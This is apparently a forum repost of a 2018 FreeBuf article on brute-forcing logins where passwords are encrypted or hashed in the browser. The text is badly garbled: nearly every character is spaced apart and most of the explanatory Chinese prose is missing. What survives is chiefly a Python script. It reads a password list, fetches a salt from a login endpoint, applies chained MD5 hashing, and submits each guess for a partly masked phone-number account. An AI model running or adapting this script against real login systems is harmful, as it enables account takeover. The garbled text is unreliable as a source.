[13223] 2018-09-24_如何对经前端加密后的数据进行爆破

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-18
2018-09-24_如何对经前端加密后的数据进行爆破   F r e e B u f   2 0 1 8 - 0 9 - 2 4 *   F r e e B u f   1 R S A g o o g l e b u r p s u i t e j s E n c r y p t e r h t t p s : / / g i t h u b . c o m / c 0 n y 1 / j s E n c r y p t e r / r e l e a s e s j s e n c r y p t . m i n . j s j s u i l i b s e c u r i t y r s a _ u t i l . j s j s e n c r y p t . m i n . j s J S E n c r y p t
j s E n c r y p t e r r e a d m e 使 j s E n c r y p t e r _ r s a . j s j s e n c r y p t . m i n . j s _ p u b k c o o k i e u r l n j s E n c r y p t e r 使 p h a n t o m j s p h a n t o m j s u r l e n c o d e U R I C o m p o n e n t 使 e n c o d e U R I 仿 j s 1 p h a n t o m J S 2 B u r p s u i t e 3 使
2 m d 5 m d 5 c d s a l t
s a l t s a l t s a l t s a l t c d p a s s m d 5   c d s a l t m d 5 p y t h o n p a s s . t x t # - * -   c o d i n g = u t f - 8   - * - i m p o r t   r e q u e s t s i m p o r t   h a s h l i b i m p o r t   j s o n d e f   G e t P a s s ( ) : f p   =   o p e n ( " . / p a s s . t x t " , " r " ) i f   f p   = =   0 : p r i n t   ( " o p e n   f i l e   e r r o r ! " ) r e t u r n ; w h i l e   1 : l i n e   =   f p . r e a d l i n e ( ) i f   n o t   l i n e : b r e a k p a s s w d   =   l i n e . s t r i p ( ' n ' ) B r u t e _ F o r c e _ D i d i d a i ( " 1 5 0 * * * * 1 4 0 3 " , p a s s w d ) ; d e f   B r u t e _ F o r c e _ D i d i d a i ( u s e r n a m e , p a s s w o r d ) : #   u r l   =   " " s   =   r e q u e s t s . S e s s i o n ( ) s . h e a d e r s   =   { ' U s e r - A g e n t ' :   ' M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o ) C h r o m e / 5 1 . 0 . 2 7 0 4 . 1 0 3   S a f a r i / 5 3 7 . 3 6 ' , ' X - R e q u e s t e d - W i t h ' :   ' X M L H t t p R e q u e s t ' , } u r l   =   " h t t p : / / w w w . f o o . c o m / ? m = & s = g e t c d " d a t a   =   { " u s e r n a m e " : u s e r n a m e } h t m l   =   s . p o s t ( u r l , d a t a   =   d a t a ) p r i n t   h t m l . c o n t e n t s a l t _ c d   =   j s o n . l o a d s ( h t m l . c o n t e n t ) p r i n t   s a l t _ c d [ ' s a l t ' ] p r i n t   s a l t _ c d [ ' c d ' ] m d 5 _ p a s s   =   h a s h l i b . m d 5 ( p a s s w o r d . e n c o d e ( ' u t f - 8 ' ) ) . h e x d i g e s t ( ) + s a l t _ c d [ ' s a l t ' ] m d 5 _ s a l t   =   h a s h l i b . m d 5 ( m d 5 _ p a s s . e n c o d e ( ' u t f - 8 ' ) ) . h e x d i g e s t ( ) + s t r ( s a l t _ c d [ ' c d ' ] ) m d 5 _ c d   =   h a s h l i b . m d 5 ( m d 5 _ s a l t . e n c o d e ( ' u t f - 8 ' ) ) . h e x d i g e s t ( ) p r i n t   m d 5 _ c d u r l 1   =   " h t t p : / / w w w . f o o . c o m / ? m = & s = l o g i n _ w d & i s m d 5 = 1 " d a t a 1   =   { " u s e r n a m e " : " u s e r n a m e " , " p a s s w o r d " : m d 5 _ c d } h t m l 1   =   s . p o s t ( u r l 1 , d a t a   =   d a t a 1 ) p r i n t   h t m l 1 . c o n t e n t p r i n t   l e n ( h t m l 1 . c o n t e n t ) ; G e t P a s s ( )

P S ~ *   F r e e B u f  
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则